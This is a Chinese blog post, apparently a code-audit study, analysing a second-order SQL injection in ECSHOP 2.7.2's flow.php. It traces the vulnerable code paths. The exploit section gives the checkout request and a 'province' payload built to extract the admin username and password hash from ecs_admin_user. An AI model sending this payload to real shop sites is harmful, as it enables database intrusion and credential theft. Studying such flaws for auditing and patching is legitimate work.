zoukankan      html  css  js  c++  java
  • ECSHOP 2.7.2二次注入分析

    这是一个很老的漏洞了。最近学习代码审计在乌云上看到的,作者只给了部分分析,和利用的exp。

    0x1代码分析

    漏洞出现在flow.php

    在flow.php的372行有如下代码

    {
            /*
             * 保存收货人信息
             */
            $consignee = array(
                'address_id'    => empty($_POST['address_id']) ? 0  : intval($_POST['address_id']),
                'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
                'country'       => empty($_POST['country'])    ? '' : $_POST['country'],
                'province'      => empty($_POST['province'])   ? '' : $_POST['province'],
                'city'          => empty($_POST['city'])       ? '' : $_POST['city'],
                'district'      => empty($_POST['district'])   ? '' : $_POST['district'],
                'email'         => empty($_POST['email'])      ? '' : $_POST['email'],
                'address'       => empty($_POST['address'])    ? '' : $_POST['address'],
                'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
                'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
                'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
                'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
                'best_time'     => empty($_POST['best_time'])  ? '' : $_POST['best_time'],
            );
    
            if ($_SESSION['user_id'] > 0)
            {
                include_once(ROOT_PATH . 'includes/lib_transaction.php');
    
                /* 如果用户已经登录,则保存收货人信息 */
                $consignee['user_id'] = $_SESSION['user_id'];
    
                save_consignee($consignee, true);   //进入save_consignee函数
            }

    跟踪save_consignee函数,在includes/lib_transaaction.php的516行

    function save_consignee($consignee, $default=false)
    {
        if ($consignee['address_id'] > 0)
        {
            /* 修改地址 */
            $res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'UPDATE', 'address_id = ' . $consignee['address_id']);
        }
        else
        {
            /* 添加地址 */
            $res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'INSERT');
            $consignee['address_id'] = $GLOBALS['db']->insert_id();
        }
    
        if ($default)
        {
            /* 保存为用户的默认收货地址 */
            $sql = "UPDATE " . $GLOBALS['ecs']->table('users') .
                " SET address_id = '$consignee[address_id]' WHERE user_id = '$_SESSION[user_id]'";
    
            $res = $GLOBALS['db']->query($sql);
        }
    
        return $res !== false;
    }
    /*从代码可以看出我们POST过来的数据进入了数据库*/

    我们跟踪下province变量的去处。

    看到第527行,有如下代码

    $region =  array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district']);
        $shipping_list     = available_shipping_list($region);
        $cart_weight_price = cart_weight_price($flow_type);
        $insure_disabled   = true;
        $cod_disabled      = true;

    可以看到数据都放到$region这个数组里面来了,我们继续跟踪$region

    然后看到如下代码

    $order = array(
            'shipping_id'     => intval($_POST['shipping']),
            'pay_id'          => intval($_POST['payment']),
            'pack_id'         => isset($_POST['pack']) ? intval($_POST['pack']) : 0,
            'card_id'         => isset($_POST['card']) ? intval($_POST['card']) : 0,
            'card_message'    => trim($_POST['card_message']),
            'surplus'         => isset($_POST['surplus']) ? floatval($_POST['surplus']) : 0.00,
            'integral'        => isset($_POST['integral']) ? intval($_POST['integral']) : 0,
            'bonus_id'        => isset($_POST['bonus']) ? intval($_POST['bonus']) : 0,
            'need_inv'        => empty($_POST['need_inv']) ? 0 : 1,
            'inv_type'        => $_POST['inv_type'],
            'inv_payee'       => trim($_POST['inv_payee']),
            'inv_content'     => $_POST['inv_content'],
            'postscript'      => trim($_POST['postscript']),
            'how_oos'         => isset($_LANG['oos'][$_POST['how_oos']]) ? addslashes($_LANG['oos'][$_POST['how_oos']]) : '',
            'need_insure'     => isset($_POST['need_insure']) ? intval($_POST['need_insure']) : 0,
            'user_id'         => $_SESSION['user_id'],
            'add_time'        => gmtime(),
            'order_status'    => OS_UNCONFIRMED,
            'shipping_status' => SS_UNSHIPPED,
            'pay_status'      => PS_UNPAYED,
            'agency_id'       => get_agency_by_regions(array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district']))
            );

    数据进入了get_agency_by_regions函数,我们跟进去看看。

    来到includeslib_order.php 第2124行代码

    看到此函数的定义

    function get_agency_by_regions($regions)
    {
        if (!is_array($regions) || empty($regions))
        {
            return 0;
        }
    
        $arr = array();
        $sql = "SELECT region_id, agency_id " .
                "FROM " . $GLOBALS['ecs']->table('region') .
                " WHERE region_id " . db_create_in($regions) .
                " AND region_id > 0 AND agency_id > 0"; //进入数据库了。
        $res = $GLOBALS['db']->query($sql);
        while ($row = $GLOBALS['db']->fetchRow($res))
        {
            $arr[$row['region_id']] = $row['agency_id'];
        }
        if (empty($arr))
        {
            return 0;
        }
    
        $agency_id = 0;
        for ($i = count($regions) - 1; $i >= 0; $i--)
        {
            if (isset($arr[$regions[$i]]))
            {
                return $arr[$regions[$i]];
            }
        }
    }

    其中$region被传入到db_create_in函数中。继续跟踪db_create_in函数

    再includeslib_common.php发现该函数的定义

    function db_create_in($item_list, $field_name = '')
    {
        if (empty($item_list))
        {
            return $field_name . " IN ('') "; 
        }
        else
        {
            if (!is_array($item_list))   //如果$item_list不是数组
            {
                $item_list = explode(',', $item_list); //用逗号分隔为数组
            }
            $item_list = array_unique($item_list);  //去除数组中重复的值
            $item_list_tmp = '';
            foreach ($item_list AS $item)  //循环遍历 $item_list 里的数据
            {
                if ($item !== '')   
                {
                    $item_list_tmp .= $item_list_tmp ? ",'$item'" : "'$item'";
                }
            }
            if (empty($item_list_tmp)) //如果$item_list_tmp为空
            {
                return $field_name . " IN ('') ";  //直接返回 id IN ('')
            }
            else
            {
                return $field_name . ' IN (' . $item_list_tmp . ') ';
            }
        }
    }

    可以看到$region数组传进去后返回了' IN (' . $item_list_tmp . ') ' 虽然此处有单引号括起来了。但是,没有影响的。因为此处是二次注入。当数据进入mysql后转义字符会被去除。

    所以完全不受GPC的影响。

    0x2漏洞利用

    把任意商品加入购物车在填写配送地址那一页,有地区选择
    flow.php?step=consignee&direct_shopping=1
    比如省选择安徽

    其中POST数据如下

    country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111
    &mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80
    &step=consignee&act=checkout&address_id=

    province=3

    改成

    province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) 
    from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

    这样就注入完成了。

  • 相关阅读:
    【Linux使用技巧】使用 tar g 参数进行增量+差异备份、还原
    【Linux使用技巧】linux 死机了怎么办
    【reSIProcate学习】搭建与测试笔记
    【NGN学习笔记】5 IMS技术
    win7 64位 java.sql.SQLException: [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 问题
    Asp.Net页面之间传值
    快递公司快递单号规律总结
    DataTable导出Excel的三种方式
    ASPxGridview总结(ASPxGridView的增,删,改,查,数据绑定,外观显示,功能设定,分页)
    终于解决SQL Server 2008 64位系统无法导入Access/Excel的问题 2012/08/01
  • 原文地址:https://www.cnblogs.com/Bl4ckc0de/p/3764155.html
Copyright © 2011-2022 走看看